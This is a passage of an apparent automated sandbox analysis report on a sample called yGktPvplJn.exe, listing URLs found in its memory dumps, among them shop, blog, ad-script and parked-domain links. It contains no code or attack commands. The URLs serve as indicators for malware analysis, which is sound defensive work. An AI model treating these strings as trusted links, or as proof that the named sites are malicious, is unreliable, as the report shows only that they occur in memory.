00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/g-martin_back_packer96.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/g-ovation_custom_legend_deep-80.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/g-yamaha_fg-2500-71.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/g-yamaha_silent_guitar_slg100s-05%20.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://blog.goo.ne.jp/baijakujaco
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cer-slo.si/predstavitev.html
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2706973639.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://furec.sakura.ne.jp/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://gmpg.org/xfn/11
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2370262954.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2397267279.0000000003500000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://hummer.hu/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2449485533.0000000008200000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2627539836.0000000003490000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462757621.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2468766886.0000000003590000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ifdnzact.com/?dn=x0c.com&pid=9PO755G95
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://js.ad-stir.com/js/adstir.js?20130527
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/ajax-search-for-woocommerce-premium/assets/css/style.min.css?
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/ajax-search-for-woocommerce-premium/assets/js/search.min.js?v
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 